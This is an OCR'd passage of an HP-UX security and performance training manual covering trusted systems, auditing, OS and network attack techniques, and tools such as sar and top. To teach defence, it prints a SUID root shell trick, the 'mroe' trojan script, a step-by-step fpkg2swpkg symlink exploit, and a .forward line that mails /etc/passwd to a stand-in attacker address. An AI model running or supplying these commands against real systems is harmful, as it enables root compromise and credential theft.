4:59 PM, he could then stay on the system as long as he likes (unless
other precautions are taken).
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Terminal Access Based on User Account

With C2 trusted systems, terminal access can also be limited to only certain users. The slide
shows that the user r uss has access to all seven terminals, while users mar y and mat t only
have access to some of the terminals.

NOTE: This feature only applies to logins. If the user r uss logged intotty7
and then su'd to user mat t , this would be acceptable.
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7-6. SLIDE: C2 Trusted System Auditing

~ C2 Trusted System Auditing

¢ Audit system calls performed programs by programs
executed by users

¢ Audit all or some of the system calls
e Audit all or some of the users

** Beware: Audit log files can grow extremely quickly

Student Notes

Another security feature realized with trusted systems is auditing. On HP-UX trusted
systems, auditing can be enabled to monitor all or selected system calls being generated for
all or selected users.

Auditing system calls is a more reliable method for monitoring activity than auditing
commands. With commands, actions can be easily disguised by linking a dangerous
command (like r m) to a seemingly innocent name (like di r ). When the command di r * is
executed, all files in the directory are removed, though this would not be obvious if just the
command names were being audited.

Because system calls are audited, activity cannot be disguised. However, there is much more
data being logged, since there are many system calls executed for every one command. To
limit the amount of data, not all system calls need to be logged, and not all users need to be
audited. For example, operating system accounts (user IDs 099) usually do not need to be
audited, and common system calls like f or k() , exec(), and cl ose() probably do not
need to be logged. These system calls and user accounts can be filtered to limit the large
amount of data being logged when auditing is turned on.
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7-7. LAB: Trusted Systems

Part I: Configuring a Trusted System

The conversion process to a C2-Trusted System is only supported through SAM on HP-UX
10.x and 11.00 systems.

1. Use SAM to convert to a C2 Trusted System:

# sam
enter Audit & Security
enter System Security Policies

At this point, if the system is not already configured as a trusted system, SAM will attempt
to convert to a trusted system.

List the three actions performed by SAM in converting to a trusted system:
1.
2.
3.

2. Continue with the conversion to a trusted system, even if the system warns about ACLs
(Access Control Lists) not being currently supported on vxfs.

At the System Security Policy menu, configure the following items:

¢ Lock inactive accounts after 60 days.
¢ Disable an account after 5 successive login failures.
* Require login upon booting to single-user mode.
¢ Enable password aging to be:
— a minimum of 0 days
— amaximum of 180 days
— a warning period of 30 days prior to a password expiring
— apassword lifetime of 210 days

3. Exit back to the top-level SAM menu. Go to the Accounts for Users and Groups, then to
Users. From the user’s menu, make the following changes:

¢ Give authorization to user5 to boot the system to single-user mode.

¢ Customize the number of successive login failures for root to be 99.

¢ Ensure that user6 can only log in between 8am and 6pm Monday, Wednesday, and
Friday.
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4. Exit SAM and verify the above configurations:

Part II: Unconverting the System

Before moving on, disable the trusted system functionality by going to:
SAM - Auditing and Security 2 Audited Events - Actions = Unconvert the System

How does it affect / et ¢/ passwd?
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Module 8 — Operating System Security Threats

Objectives
Upon completion of this module, you will be able to:

e List three different security threats from an OS perspective.
* Describe three different methods for plugging security holes at an OS level.

e List three security tools available for HP-UX and describe how they work.
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8-1. SLIDE: Operating System Security Threats

- Operating System Security Threats

¢ Set User ID Bit
e Writable System Directories
e Unprotected User Files in Shared Directories

Student Notes

Every computer system is a potential target for the many hackers out there in the UNIX
world. Systems large and small, UNIX and non-UNIX, network and non-network based, have
all been the victims of computer hackers over the last two decades.

This module discusses the primary techniques used by hackers to gain unauthorized access
from an OS perspective. The next module will address techniques from a network
perspective.

The intent is not to teach students to become hackers, but to show them potential security
holes in their systems, so the holes can be plugged. The only way security holes can be
successfully closed, is for the student to have an understanding of the holes, and know how
hackers exploit a system to gain unauthorized access.
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8-2. SLIDE: Set User ID Bit

~ Set User ID Bit

Example: Creating a SUID shell owned by root.

?

Regular
User

.\.

. _ Superuser
— “root”
Example:
’ -r-Sr-xr-x 1 root bin 98304 Jun 18 1996 [ usr/ bi n/ passwd
Student Notes

The “set user ID” feature in UNIX, is an essential piece of functionality which allows
unprivileged users the ability to accomplish a specific, privileged task.

The most common example of this is when a user changes his password. This requires
modifying the content of the / et ¢/ passwd file which is a privileged operation. Since it is
undesirable to give the user access to the entire / et ¢/ passwd file, a specific program was
developed, in this case / usr / bi n/ passwd, which allows a user to modify just his own
password. The program is owned by root, and has the set-user-ID attribute set.

-r-|sf-xr-x 1 root bin 25576 Dec 2 1998 /usr/bi n/ passwd

When the set-user-ID bit is set on an executable (like / usr / bi n/ passwd), the ID of the user
executing the program will be changed to match the ID of the user owning the program (in
this case root). The user's ID stays set to the new ID for the entire duration of the
executable. If the executable is owned by root, then the user's ID is changed to root. This
can be especially dangerous if the user can find some way to exit out to a shell while
executing the program. This would give the user the ability to run any command on the
system as root.
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A popular trick of hackers, if they can gain access to the root account, is to execute the
following sequence of commands as root:

cp /usr/bin/sh /tnp/.hidden_shel
chnod u+s /tnp/. hidden_shel |

This creates a file called / t np/ . hi dden_shel | on the system, which when executed
would start a new shell and change the user's ID to the root ID.

-r-|sf-xr-x 1 root bin 25576 Dec 2 1998 /tnp/.hidden_shell

A student may think, “a system administrator would be crazy to allow those commands to be
executed on his system”. What the student does not realize is that a hacker can be so tricky
that the system administrator does not even realize he has executed the above commands, as
described on the next slide.
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8-3. SLIDE: Writable System Directories

~ Writable System Directories

Example:

Putting the nT 0e program in
the / usr/ contri b/ bi n directory.

The
mroe
bomb

/usr/contrib/bi

Student Notes

A classic security hole is the writable system directory, / usr/ cont ri b/ bi n. The intent of
this directory is to allow users on the system to contribute software which all users may be
interested in executing. Examples of contributed software often found in

/usr/contri b/ bin,include x| oad, perl,andtraceroute.

To make executing these programs more convenient, many users (including the root user),
include / usr/ cont ri b/ bi n in their PATH variable.

This “shared contribution” system works fine, until a hacker exploits the fact that any
program can be placed in this directory, including programs which users would never want to
execute. The hacker assigns names to these undesirable programs synonymous with
common typing mistakes. Then, when a user makes one of the common typing mistakes, he
executes a program which he had no intentions of executing.

The most popular example of this is placing a shell script called nt oe (common misspelling
for nmor ) in the / usr/ cont ri b/ bi n directory. The nT 0e program contains the following
three line of code:

cp /usr/bin/sh /tnp/sh $USERNAVE
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chnod u+s /tnp/ sh_$USERNAME
/fusr/bin/nore $*

The end result is whenever a user misspells the mor e command, they will create an SUID
shell program called / t np/ sh_$USERNAME which anyone on the system could execute.
When another user on the system does execute it, they will find themselves being placed in a
new shell, and their ID will be that of the user who accidentally created the shell program!
This means if root accidentally types nr oe, an SUID-to-root shell will be created which

would allow any user to become root.

These programs are often referred to as t¢me bombs, or just bombs, because they will go off
(i.e. create a security holes) when some event occurs (like some user misspells nor e as

nr oe).
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8-4. SLIDE: Unprotected User Files in Shared Directories

~ Unprotected User Files in Shared
Directories  —

Example: Files in the / t np directory.

4  bin bi n 3072 Apr 6 1998 /tmp

1 root sys 9250 Jan 24 1998 /tnp/ dat a
1 matt users 4896 Jul 5 1998 [t mp/ manual
1 russ users 6266 Feb 16 1998 /tnp/stats

Student Notes

An often overlooked fact of UNIX-based systems is that files cannot be protected if they are
placed in a shared, writable directory like / t np. The slide shows an example of three files in
the / t np directory: / t np/ dat a,/ t np/ manual , and/ t np/ st at s.

Which of these files is protected from reqular users?

At first glance, it would appear that / t np/ dat a is completely secured with no read, write, or
execute permissions for anyone, and / t np/ manual appears secure, since no user has write
access. But, the permissions on the files only control access to the data within the files.

They do NOT control access to the files within the / t np directory. Everyone has write
access to this directory. Since write access to a directory implies the capability to add and
remove files from the directory, every user on the system can remove any of the three files
— not very good protection for these files.

The ability of any user to remove any other users' files in a share directory has created some
trouble for applications which store temporary log files under / t np. Since these log files can
be easily removed, they can also be replaced by bogus log files containing misleading and
inaccurate data.
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8-5. SLIDE: Example — Combining All Three to Gain
Unauthorized r oot Access

~— Example — Combining All Three to Gain

Unauthorized r oot Access
.\ 0 [// o
0?22;3 lozht::le =

l -r-s-xr-x 1 root bin 98304 Jun18 1996 /usr/sbin/fpkg2swpkg l ' l /tmp/fpkg2swpkg.log -> /.rhosts l I

-r-gr-xr-x 1 root bin 98304 Jun18 1996 /tmp/+ + ->/usr/shin/fpkg2swpkg ‘ Exa:Ute / t rrp/ + ot t eSt f I I e

Student Notes

The previous three slides have addressed different areas of vulnerability on UNIX systems
which are often exploited by hackers, including

¢ SUID-to-root programs
¢ Writable system directories
¢ Unprotected files in shared directories

Many times, however, hackers gain access by exploiting not just a single weakness area, but a
combination of weakness areas.

The f pkg2swpkg Program

The f pkg2swpkg program helps illustrate how multiple areas of vulnerability are used to
create a security hole. The f pkg2swpkg program was developed to assist customers in
converting their 9.x packaged applications (format _fpackage) to a format compatible with
HP-UX 10.x (format swpackage).
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In order to perform some of the conversions, the program required the user to have root
capabilities. Since many application programmers without root access were expected to run
this program, the program was tightly secured so that users could not escape the program. It
was given SUID-to-root permissions.

-r-sr-xr-x 1 root bin 57344 My 2 1996 /usr/sbin/fpkg2swpkg

When the program was executed, problems, warnings, and error messages were written to a
temporary log file called / t np/ f pkg2swpkg. | og.

The program seemed innocent enough and proved valuable to application developers porting
their applications from HP-UX 9.x to HP-UX 10.x. The program also became a target of
hackers, and was exploited as a means of gaining unauthorized access to root!

Exploiting Weaknesses to Create the Security Hole
To create the security hole, the first weakness a hacker could exploit is the unprotected log
file, / t np/ f pkg2swpkg. | og. The hacker could delete this log file by executing:

1. rm/tnmp/fpkg2swokg. | og

The second weakness a hacker would exploit is the writable system directory / t np. The
hacker could add a new f pkg2swpkg.log file which would be a symbolic link to root's
. rhost file.

2. In-s /.rhosts /tnp/fpkg2swokg. | og

Now, when the f pkg2swpkg program writes to its log file, the information will actually be
sent to root's / . r host s.

The final step is to figure out a way for the program to output a message containing “+ +”.
As we will see in the next section, a “+ +” inroot's . r host s file allows any user on any
system access to the local system as root.

There are a number of ways to make this happen. However, without going into the format
structure of f package, the most straight forward method is to create a symbolic link called
“+ +” tot he /usr/sbin/fpkg2swpkg program.

3. PLUS PLUS="$(echo '\n+ + )"
4. In -s /usr/sbin/fpkg2swkg "${PLUS PLUS}"

Now, all that remains is to execute the PLUS_PLUS symbolic link and have an error occur.
When the error occurs, the program will output it's name (+ +) to the log file, and since the

log file is a symbolic link to / . r host s, the “+ +” will be writtento /. r host s.

5. touch /tnp/test. psf
6. "$PLUS PLUS" /tnp/test. psf

After the program executes, any user can access the system as root by executing:

7. rlogin . -I root
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8-6. SLIDE: Plugging the Security Holes

~ Plugging the Security Holes

e Examine all SUID-to-root programs

¢ Do not allow any directories in root’s
PATH variable to be world writable

¢ Change all shared, writable directories
to contain the “sticky bit”

Student Notes

In UNIX, most security holes can be plugged. Some precautions which can be taken to
provide a more secure system are:

Examine all SUID-to-root Programs

Because SUID-to-root programs are so dangerous, a system administrator should be familiar
with all files containing the SUID bit on and owned by root.

To search the system for all SUID files owned by root, type:
find / -perm-4000 -user root -exec Is -1d {} \;

Once the list of SUID-to-root files is generated, make sure these files cannot escape to a shell
and do not write information to a file in a shared, writable directory.

Do Not Allow Directories in PATH Variables to be World Writable

We have seen that directories which are world writable and also appear in PATH variables
are a security risk, because “bombs” like nT oe programs can be planted in them.
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To identify all directories which are world writable, type:
find / -perm-0002 -type d -exec Is -1d {} \;

Once the list of world writable directories is generated, the directories should be analyzed to
verify none appear in user's PATH variables (especially root's PATH). In general, the only
directories which a user should have write access to is their $HOME directory and temporary
directories / t np and / var / t np.

Set the Sticky Bit on All Shared, Writable Directories

In HP-UX, setting the sticky bit on a directory means users can only remove files within the
directory which they own, even though they have write access to the directory.

To set the sticky bit on a directory, type
chnod o+t /directory_name
It is a good idea to set the sticky bit on the / t np directory. Many different OS applications

store their temporary files here, and this prevents some user from accidentally removing the
files.

NOTE: The security hole related to the / t np/ f pkg2swpkg. | og file being
removed and then recreated as a symbolic link could have been
prevented by setting the sticky bit on the / t np directory.
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8-7. SLIDE: Available OS Security Tools

~ Available OS Security Tools

¢ Crack - Identifies easily “crackable” passwords in the
/ et c/ passwd file

e Cops - Identifies OS security vulnerabilities
e Satan - Identifies Network security vulnerabilities

Student Notes

There are many security tools available on the web (for free) to help identify security holes
on UNIX-based systems. These tools include Crack, COPS, and SATAN.

Crack

The Cr ack program is designed to decipher passwords related to user accounts in a passwd
formatted file.

Since it is impossible to reverse the encryption process, the only way to “crack” a password
is to encrypt every possible word and compare the result to the value of the user's encrypted
password. This is exactly the way the crack program works. It encrypts all the words in a
user-supplied dictionary and compares each result to the user's encrypted password.

Crack also uses information about the user in the comment field (field 5) to guess the user's
password. Guesses like the user's first name, middle name, and last name, spelled forwards
and backward, with uppercase and lowercase letters are all tried and compared.
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Crack Case Study

After attending a System Security course at Hewlett-Packard, a student assured the instructor
that his company had an extremely tight security policy, and programs like Crack would not
find any passwords on his machines. Users were trained and required NOT to use any easily
guessable passwords.

Two weeks later, the same student called to inform the instructor as to whether the Crack
program had been successful. On 24 systems, Crack had found 8 systems which contained at
least one password-less account with an interactive shell. After running Crack for just 30
minutes, it found over 90 passwords, including one root password. The final results after
three days of “cracking” were over 250 of the cumulative 1500 passwords were cracked,
including 5 of the 24 root accounts. Out of the 24 systems, 18 contained at least one account
which was cracked.

The moral of the story to UNIX system administrators, run Crack against the passwd file. “If
you don't, hackers will.”

COPS

The COPS (Computer Oracle and Password System) security tool is designed to help a
system administrator find security holes in his system. COPS is made up of many script files
which perform the following security checks:

¢ Checks the anonymous FTP configuration.

e Checks the writability of user's home directories and user login scripts like . pr ofi | e.
¢ Finds SUID files and checks their writability.

e Checks for pluses (+) in . rhost s and / et ¢/ host . equi V files.

¢ Checks for world writable system directories.

¢ Checks the permissions on the startup files and directories.

e Checks the / et ¢/ passwd file for poor, easily-guessable passwords.

All of the COPS scripts simply check to see if a potential security holes exists. COPS does
not try to correct any of the problems which it finds. COPS reports its results to a user-
defined file, or can be configured to mail the results to a user account.

Because COPS does not try to correct any security holes it finds, COPS does not have to be
run from a privileged account like root. Any regular user can run COPS. The moral of the
story to UNIX system administrators is to run COPS against your system because “If you
don't, hackers will.”

SATAN

The SATAN (Security Administrators Tool for Analyzing Networks) program is designed to
help a system and/or network administrator find security holes in their network services.
SATAN checks for security holes caused by erroneous or careless network configurations
and it checks for the existence of known software holes in a number of frequently used
network-based programs.

Because SATAN can be run against other remote nodes on the network, not just the local
node, it is extremely important that system administrators run SATAN against their own
system, and plug the reported holes as quickly as possible. If this is not done, then
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potentially every node on the system will know about the network security holes, except for
the local administrator.

SATAN checks for 13 different security holes. These holes fall into the following three
categories:

¢ Design flaws in network software or underlying network protocols.
¢ Insecure implementation of the network software.

¢ Misconfiguration of the network software.

Some of the network security holes uncovered by SATAN are contained in the next module.
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Objectives
Upon completion of this module, you will be able to:

e List three common ways hackers jeopardize the security of systems attached to the
network.

¢ List three recommendations for plugging the network security holes.
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9-1. SLIDE: Network Security Threats

~ Network Security Threats

¢ Trusted Hosts
e Writable FTP home directories
e Unrestricted NFS exports

CAUTION

BE SAFE
HACKERS ARE QUT THERE

Student Notes

In addition to securing a system from an OS perspective, it is equally important to secure the
system from a network perspective. With the majority of all commercial systems today being
run on networks, securing a system from network threats is just as important as securing it
from OS threats.

There are many ways hackers exploit systems attached to a network. Some of the more
common methods are covered in this module. They include:

¢ Trusted Hosts
¢ Writable FTP Home Directories
¢ Unrestricted NFS Exports
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9-2. SLIDE: Trusted Hosts

— Trusted Hosts

I trust the root user on SystemB.
I will not require a password of
him when he tries to log in

using the r | ogi n command.

SystemA O SystemB
>
/xhosts
SystemB - e
I got to get onto SystemA.
Maybe I can get onto SystemB,
and from there get onto SystemA.
Student Notes

Trusted hosts are one of the most common ways to violate and circumvent security on a
system attached to a network. The term trusted host is used to indicate the free access a
local system grants to a remote system.

When a local system defines a remote system to be trusted by placing the remote hostname
in a user's . r host s file, it allows the corresponding user on the remote machine to log into
the local machine as that user, and not be prompted for a password. For example, the slide
shows SystemA containing an entry for SystemB in root's . r host s file. This allows the root
user on SystemB to log into SystemA as root (using the r | ogi n command) and not be
prompted for a password!

The concept behind “trusted hosts” is once a user is authenticated on one machine (by
specifying the correct password), he should not have to re-authenticate himself when he logs
onto another similar system. In our example, SystemA is basically stating, “If root has
successfully logged in on SystemB, I will allow him to access my system as root without
asking him to re-authenticate himself.”

While the trusted systems feature makes life easier for a single system administrator
managing both SystemA and SystemB, if definitely opens the potential for unauthorized
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access. One such potential is the example shown on the slide. If a hacker gains access to
one machine (such as SystemB in the slide), it then gives him access to other systems (e.g.
SystemA) which trusted the machine he gained access to.

Many customers have security policies disallowing the use of . r host s files and other
trusted hosts functionality, because the security risk is too great.
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9-3. SLIDE: Example — A Disguised Host

~ Example — A Disguised Host

My name is SystemA,
and my IP address is

SystemA 156.153.94.12

IP: 156.153.94.12

Oh, SystemA is trying
to rl ogi n. Since his name

isinmy/ . rhost s file,
I will let him in without
a password.

/.rhosts

SystemA
156.153.94.12

Student Notes

The Achilles heel of network security is the IP address. Most all network security features
related to networking services and applications are based upon the IP address. Hosts trust
other hosts based upon the IP address. NFS file systems are exported only to other hosts
with specific IP addresses. In the UNIX networking world, the IP address is the foundation
upon which network security is built. The IP address is supposed to be unique for every
system on the network and existing IP addresses are not suppose to be duplicated by other
systems.

But what happens when IP addresses are jeopardized?

In UNIX networking, there is nothing to prevent a host from changing his IP address to match
the IP address of another host on the network. A host could even reset its IP address to
match a system (like SystemA in the slide), which is being trusted by another system on the
network. This hacking technique is known as spoofing or disguising the host, and it is very
hard to detect.

In the slide, the hacker on SystemB realizes that SystemA is being trusted. When SystemA is
not communicating on the network (maybe around midnight), the hacker on SystemB
changes the IP address to match the IP address of SystemA. The hacker then tries tor | ogi n
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to the machine which trusts SystemA. Since the machine thinks he is communicating with
SystemA, he allows the hacker onto the system as root!

This breakdown in security is due to the fact that network security is based on something
(the IP address) that has a weak form of authentication. In fact, there is no easy way to
authenticate the IP address (without requiring the system software to change). If a host says
his IP address is W.X.Y.Z, then we have to believe he is telling the truth.

There are only two methods to avoid the attack shown on the slide. The first is quite easy,
but also may be impractical, and that is to not trust anyone on the network. As mentioned
earlier, many customers have security policy that forbid the use of . r host s and any other
security features that trust hosts based upon the IP address. The other solution is quite
costly, and that is to implement an authentication scheme which requires both hardware (i.e.
smartcards) and software code modifications (i.e. Kerberos). Both solutions have major
tradeoffs.
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9-4. SLIDE: Writable FTP Home Directory

~ Writable FTP Home Directory

Since the FTP home
directory is writable, I can put
a .forward file with any command,
hen send a message and have that
command execute.

Since the FTP home
directory is writable, I can put
a .rhosts file, then rlogin to that
system as the ftp user.

SystemB

% =

A ‘mu [N

Student Notes

The / hone/ f t p directory is used by many system administrators as the home directory for
anonymous FTP logins. Files which a local system administrator wants to make accessible
to the general network public are placed in this directory, and remote systems access the
files by using the ftp program and logging in as the ftp user (aka anonymous f t p).

The f t pd man page provides appropriate recommendations for the permissions and
ownership of all the subdirectories, but erroneously recommends that the ftp home directory
be owned by the ftp user (this man page has been corrected for HP-UX 10.0). This allows an
anonymous ftp user to change the permissions of the ftp home directory to be writable,
which then allows him to add or remove any files in the ftp home directory.

One example of how a writable ftp home directory could jeopardize security, would be for an
anonymous user to write a . r host s file to the ftp home directory. This would allow that
remote machine to r | ogi n and use the ftp account as a regular user! To ensure that the ftp
account is not used by anyone for direct logins, it is strongly recommended that an asterisk
(*) be placed in the password field and the value / usr/ bi n/ f al se be used for the login-
shell field for the f t p account definition within the / et ¢/ passwd file.
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While preventing logins to the ftp account helps to secure the system, it does not prevent
some of the other security holes from being exploited if the FTP home directory is writable
(or owned by the FTP user). For example, if the FTP home directory is writable, then any
remote user could write a . f or war d file to the ftp home directory. The content of the

. f orwar d file would be any command the remote user would want to have executed as the
ftp user.

For example, the content of the . f or war d file could be:
fusr/bin/mail hacker @enote_machi ne.com < /et c/ passwd

This would cause the content of the / et ¢/ passwd file to be mailed to the hackers' system
whenever a mail message is sent to the ftp user on the FTP anonymous machine.

The . f or war d file in a user's home directory is intended to be used when a user goes on
vacation, or on an extended trip, and wants his mail forward to his new location. Normally,
the . f or war d file would contain the command which the user wants to employ to have his
mail forwarded. Therefore, when the mail message is received by the FTP mail subsystem
and it sees the . f or war d file, the mail subsystem executes its contents thinking it is
forwarding the mail message. It does not realize it is sending the / et ¢/ passwd file (and all
the passwords) to the hacker's machine which the hacker will run his cr ack program
against.

The only way to prevent this from happening (i.e. plug the security hole), is to make sure the
ftp home directory is NOT writable, and to ensure the ftp home directory is NOT owned by
ftp. The home directory should be owned by root.
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9-5. SLIDE: Unrestricted NFS Exports

Unrestricted NFS Exports

have not seen this nT oe

program before. I wonder
what it does?

SystemC exported the / usr

filesystem without any options.
This means all systems have

ead/write access to the file system-

SystemB

| O
SystemC

/etc/exports MMHM

fasr

Student Notes

NFS (Network File System) is a very common and popular network application used by many
UNIX-based systems. NFS allows files to be easily shared among many systems on the same
network.

Unfortunately, the default options for an exported NF'S file system are read and write
capabilities for all those with access, and the default access is for all systems. From a
security perspective, this is much too liberal and it creates a security hole which can easily be
exploited by a hacker. Nearly all books on NF'S security recommend specifying an explicit
list of NF'S clients which are to receive access, and to avoid exporting file systems with write
capabilities if possible.

An example of how an NFS file system (exported with the default options) can be
jeopardized, is shown on the slide. The hacker, sitting on SystemA, mounts the file system.
This is possible since by default, all systems receive access. Next, the hacker writes the

nr oe bomb script (discussed earlier). This is possible since, by default, everyone has write
access. Now, the hacker just waits for a person to come along (like the user on SystemB),
and execute the script (either intentionally or by accident). When the script is executed, the
user ends up running commands which they had not intended to run.
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Module 10 — Performance Tools Overview

Objectives
Upon completion of this module, you will be able to:

¢ Identify various performance tools available on HP-UX.
* (Categorize each tool as either real time or data collection.
e List major features of the performance tools.

¢ Compare and contrast the differences between the tools.
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10-1. SLIDE: HP-UX Performance Tools

= HP-UX Performance Tools

Objective:

¢ [dentify the various performance tools
available on HP-UX

¢ Discuss their features

e Compare and contrast the differences
between these tools

acctcom glance gpm iostat ipcs/ipcrm
mount NetMetrix  netstat nfsstat nettune
nice/renice PerfView PRM rtprio sar
serialize timex top vmstat uptime

Student Notes

There are many different performance tools available on the HP-UX operating system. Some
tools provide real time performance information, while other tools collect data in the
background for future analysis. Others tools allow operating system variables to be tuned.

The objective of this module is to highlight the main performance tools available with HP-UX,
and to describe how each tool works.

This module is intended to be a quick reference guide which can be used when selecting a
tool for a specific task.

NOTE: This module does not discuss how to interpret the output of the tools.
Interpretation of the metrics is provided in the Performance and
Tuning course, HH5278.
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10-2. SLIDE: Types of Tools

Types of Tools

Real Time Data Collection
Monitoring Tools Performance Tools
UNIX ‘ HP Specific UNIX ‘ HP Specific
Performance Network
Administration Tools Monitoring Tools
UNIX ‘ HP Specific UNIX ‘ HP Specific

Student Notes

The tools covered in this section fall into four main categories:

Real-Time Monitoring Tools. These are tools that provide information as to the
performance of the system now. The information is current and provides a real time
perspective as to the state of the system at the moment.

Data Collection Performance Tools. These are tools that collect performance data in
the background, summarize or average the data into a summary record, and log the
summary record to a file or files on disk. These tools do not typically provide real time
data.

Performance Administrative Tools. These are tools which a system administrator can
use to manage the performance of his system. These tools typically do not report any
data, but allow the current configuration of the system (and its components) to be
changed to help improve performance.

Network Monitoring Tools. These are tools which monitor performance, status, and
packet errors on the network. These tools include both monitoring and configuration
tools related to network management.
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Within each category of tools, there are standard UNIX tools and HP specific tools.

St andard UNI X Tool s

HP- Speci fi ¢ Tool s

H3045S C.00

The standard UNIX tools are those frequently found on UNIX-
based systems, including HP-UX. The advantage of the

standard tools is that their results can be compared with those
on other UNIX platforms. This provides an "apples for apples"
comparison which may be desirable when comparing systems.

The HP-specific tools are those found only on the HP-UX
operating system. These tools are often tailored specifically for
HP-UX implementations.

These tools are generally not found on other UNIX
implementations, since other implementations are different
from that of HP. Some of the HP-specific tools come with the
base OS, and others need to be purchased as optional tools.
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10-3. SLIDE: Generic UNIX Real Time Monitoring Tools

— Generic UNIX Real Time Monitoring Tools

Mon'i'tpring Tools

UNIX

HP Specific

UNIX HP Specific Data Collection
Performance Tools
sar ‘ -
UNIX HP Specific
top
virst at
i ost at
timex
upti me
Performance M %jet‘.?mﬂr; )
Administration Tools onitoring lools
UNIX ’ HP Specific

Student Notes

The slide shows run time performance monitoring tools included with HP-UX 11.00 and
higher. These are tools that provide current information as to the performance of the system
at the moment. These tools are standard UNIX performance tools that are found on most

other UNIX implementations.
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10-4. TEXT PAGE: sar

Description

The sar command reports on many different system activities including CPU, buffer cache,

disk, and others.

Commands related to sar include sal, sa2, and sadc. These commands are related to the
data collection component of sar and are covered with the data collection commands.

Tool Source:
Documentation:
Interval:

Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Features:

Full Pathname:

Pros and Cons:

Syntax

Standard UNIX (System V)

man page and kernel source

>= 1 second

/dev/ kmem r egi sters/counters

Global

CPU, Disk, Kernel resources

Standard output device or file on disk

Varies, depending on the output interval

Disk I/O wait time, kernel table overflows, buffer cache hit ratios
10.x and 11.00 releases: / usr/ sbi n/ sar

+ familiarity

+ performs both real time and data collection functions

—no per process information
—no paging information, designed only for swapping (not done on HP-UX)

Sar [-ubdycwaqvmAMS] interval [count]

Key Metrics

The sar command has many metrics. Included below are some sample metrics based on the

Disk and CPU reports.

CPU Report

The CPU report displays utilization of CPU and the percentage of time spent within the

different modes.

%usr Percentage of time in user mode

%sys Percentage of time in system mode

%wio Percentage of time in processes are waiting for I/O
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%idle Percentage of time idle
Disk Report
The disk report displays activity on each block device (i.e. disk drive).
device Logical name of the device
Ybusy Percentage of time the device is busy servicing a request
avque Average number of I/) requests pending for the device
r+w/s Number of I/O requests per second (includes reads and writes)
blks/s Number of 512-byte blocks transferred (to and from) per second
avwait The average amount of time the I/O requests wait in the queue before being
serviced
avserv The average amount of time spent servicing an I/O request (includes seek,
rotational latency, and data transfer times)
Examples
# sar —u 5 4
HP- UX astro B.11.00 C 9000/ 715 12/ 15/ 99
08:32: 24 Qtusr %sys %M o % dl e
08: 32: 29 64 36 0 0
08: 32: 34 61 39 0 0
08: 32: 39 63 37 0 0
Aver age 62 38 0 0
# sar -d 5 4
HP- UX astro B.11.00 C 9000/ 715 12/ 15/ 99
08:48: 24 devi ce %busy avque r+w's avwai t avserv
08: 48: 29 c0t 6d0 19. 36 0.55 20 6. 37 14. 27
08:48: 34 c0t 6d0 35. 36 1.35 851 15. 90 15. 00
08: 48: 39 c0t 6d0 61. 80 12.75 1226 89. 17 17. 85
Aver age c0t 6d0 38. 81 5. 80 730 45, 33 16. 04
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10-5. TEXT PAGE: t op

Description

The t op command displays a real-time list of the top CPU consumers (processes) on the

system.

Tool Source:
Documentation:
Interval:

Data Source:
Type of Data:
Metrics:
Logging:
Overhead:
Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

Standard UNIX (BSD 4.x)

man page

>= 1 second

/ dev/ kmemr egi st ers/ count ers
Global, Process

CPU, Memory

Standard output device

Varies, depending on presentation interval
Real-time list of top CPU consumers

9.x release: / usr/ bi n/top
10.x release: / usr/ bi n/ t op

+ quick look at global and process CPU data
- limited statistics
- uses curses for terminal output

top [-s tinme] [-d count] [-n nunber] [-d]

-s tine
-d count

-n nunber

-q

Key Metrics

Set the del ay between screen updates

Set the nunber of screen updates to "count”, then exit
Set the nunmber of processes to be displayed

Run quick. The top command with a nice val ue of zero.

The t op metrics include:

SIZE

RES

%WCPU

%CPUCurrent

H3045S C.00

Total size of the process in KB. This includes text, data, and stack.
Resident size of the process in KB. This includes text, data, and stack.
Average (weighted) CPU usage since top started.

CPU usage over the current interval.
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Example

* Start top with a 10 second update interval
# top -s 10

* Start top and display only 5 screen updates then exit
# top -d 5

* Start top and display only top 15 processes
# top -n 15

* Start top and let it run continuously

# top

System r3wl4 Fri Oct 17 10:24:23 1997

Load averages: 0.55, 0.37, 0.25

115 processes: 113 sl eeping, 2 running

Cpu st ates: LOAD USER NI CE SYS IDLE BLOCK SWAIT I NTR

0.55 9.9% 0.0% 2.0% 88.1% 0.0% 0.0% 0.0%
Menory: 24204K (15084K) real, 46308K (33432K) virtual, 2264K free
TTY PI D USERNAME PRI NI SI ZE RES STATE TI ME MCPU  %CPU
? 680 root 154 20 1328K 468K sleep  33:23 12.36 12. 34
? 728 root 154 20 340K 136K sleep 18:20 5.82 5.81
? 1141 root 154 20 12784K 3708K sl eep 84:06 4.47 4.47
? 1071 root 80 20 1264K 568K run 0:19 3.00 2.99
? 3892 root 179 20 308K 296K run 0:00 2.59 0.34
* To go to the next/previous page type "j" and "k" respectively

* To go to the top page type "t"

SSYS
0. 0%

Page# 1/9
COVMAND
snmpdm
m b2agt
net non
prd
top

Note: the two values following memory: are the memory allocated for all processes and in

parentheses memory allocated for runnable processes.

Note: swai t and ssys are relevant for SMP systems and will be 0.0% on single processor

systems.
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10-6. TEXT PAGE: vnst at

Description

The vinst at command reports virtual memory statistics about processes, virtual memory,
and CPU activity.

Tool Source:

Documentation:

Interval:
Data Source:

Type of Data:
Metrics:

Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

vnstat [-dnS§]

Standard UNIX (BSD 4.x)

man page, include files

>= 1 second

/ dev/ krmem r egi st ers/ counters

Global
CPU, Memory

Standard output device
Varies, depending on presentation interval
Cumulative VM statistics since last reboot

9.x release: / usr/ bi n/ virst at
10.x release: / usr/ bi n/ viet at

+ minimal overhead

- poorly documented

- cryptic headings

- lines wrap on 80column character display

[interval [count]]

vinstat -f | -z
-d I nclude disk I/O information
-n Print in a format nore easily viewed on a 80-col um displ ay
-S Include swapping information

-f Print nunmber of processes forked since boot, nunber of pages used

by all

forked processes, and the average pages/forked process

-S Print virtual nenmory sunmary information
-z Zero the summary registers.

Key Metrics

The virst at metrics include:

avm Active virtual pages

free Number of pages on the free list

re Page reclaims

at Address translation faults
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po Pages paged out
fr Pages freed by vhand, per second
Sr Pages surveyed (de-referenced) by vhand, per second
in Device interrupts per second
sy System calls per second
cs CPU context switch rate (switches/second)
Examples
# vnstat -n 5 2
VM
menory page faults
avm free re at pi po fr de sr in sy cs
7589 728 0 0 0 0 0 0 0 140 490 30
CPU
cpu procs
us sy id r b w
2 197 0 74 0
7670 692 0 0 0 0 0 0 0 235 4959 170
47 11 42 0 75 0
# vnstat -nS 5 2
VM
menory page faults
avm free  si so pi po fr de sr in sy cs
